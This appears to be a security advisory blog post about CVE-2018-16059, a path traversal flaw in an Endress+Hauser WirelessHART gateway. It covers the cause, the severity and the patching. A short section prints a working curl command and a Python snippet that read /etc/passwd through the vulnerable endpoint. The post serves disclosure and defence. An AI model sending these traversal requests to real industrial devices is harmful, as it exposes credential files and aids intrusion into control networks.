Listen to this Post
CVE-2018-16059 represents a path traversal vulnerability affecting Endress+Hauser WirelessHART Fieldgate SWG70 version 3.x devices.
The core security flaw resides within the FastCGI binary endpoint designated as /fcgi-bin/wgsetcgi.
When web clients interact with this endpoint, the application accepts user-supplied parameters without proper sanitization.
Specifically, the `filename` parameter fails to enforce strict boundary checks or canonical path validation.
This failure allows remote, unauthenticated attackers to supply relative path specifiers containing dot-dot-slash sequences.
Consequently, the underlying web server process evaluates these paths outside the intended web root directory.
An attacker can leverage this behavior to traverse the file system hierarchy and access arbitrary files.
File read operations are limited only by the permissions of the user account running the web application server.
In typical embedded Linux implementations for industrial devices, web services run with sufficient privileges to read sensitive files.
These files often include system configuration data, password databases, network parameters, and internal application scripts.
The vulnerability requires zero prior authentication and can be exploited over standard HTTP network connections.
Because Fieldgate devices manage wireless industrial sensor networks, their operational integrity is paramount.
Exposing internal files to unauthorized remote users compromises device confidentiality and aids further network infiltration.
The technical root cause stems from legacy CGI/FastCGI programming practices that omit secure path normalization routines.
Attackers can automate directory traversal attempts using simple command-line tools or specialized exploit scripts.
Security analysts identified that URL-encoded traversal sequences could occasionally bypass basic string filtering.
Vendor advisories confirmed that the vulnerability affects all firmware builds prior to the designated patch release.
Industrial control system environments face heightened risks when such management endpoints are misconfigured.
Deployment best practices mandate isolating management interfaces from public or untrusted enterprise networks.
Network administrators must rely on dedicated VPN tunnels and firewalls to secure remote device access.
The National Vulnerability Database assigned a CVSS v3.0 base score of 5.3, categorizing it as Medium severity.
Metric breakdown shows network attack vector, low complexity, no privileges required, and no user interaction needed.
Impact metrics highlight confidentiality loss with zero integrity and availability impact from the file read alone.
Incident response teams monitoring affected gateways should inspect access logs for repeated traversal patterns.
Automated scanners frequently target `/fcgi-bin/wgsetcgi` to discover vulnerable IoT hardware instances on public IP spaces.
Remediation strictly depends on applying official firmware updates provided by Endress+Hauser.
Software patches introduce strict input validation filters that reject malformed filenames containing traversal markers.
Code reviews of similar FastCGI binaries help prevent recurring path traversal flaws in embedded products.
Understanding this vulnerability mechanics underscores the critical need for secure coding standards in IoT development.
Proper validation of all external input parameters remains the primary defense against arbitrary file inclusion attacks.
DailyCVE Form:
Platform: Fieldgate SWG70 hardware
Version: Version 3.x
Vulnerability: Directory Traversal
Severity: Medium Severity
date: September 2018
Prediction: Already patched
What Undercode Say:
curl -k "http://<target-ip>/fcgi-bin/wgsetcgi?filename=../../../../etc/passwd"
import requests
url = "http://target/fcgi-bin/wgsetcgi"
params = {"filename": "../../../../etc/passwd"}
response = requests.get(url, params=params)
print(response.text)
Exploit: (Educational Purposes!)
The exploit involves sending a crafted HTTP request directly to the vulnerable FastCGI endpoint on the target device. By injecting path traversal characters (../) into the `filename` parameter of the `wgsetcgi` binary, an attacker can break out of the intended web root directory. Success depends on file permissions of the underlying Linux operating system running on the Fieldgate device.
Protection: from this CVE
Protecting systems against CVE-2018-16059 requires applying official firmware patches supplied by Endress+Hauser. In addition, administrators must ensure that management interfaces are never exposed directly to the public internet. Implementing robust network firewalls, VPN access controls, and strict perimeter segmentation helps mitigate unauthorized access risks.
Impact:
The impact of this directory traversal vulnerability includes the unauthorized disclosure of sensitive local files residing on the target device. An attacker can leverage read access to configuration files to harvest credentials, network topology details, or operational secrets, potentially enabling subsequent attacks against the industrial control network.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
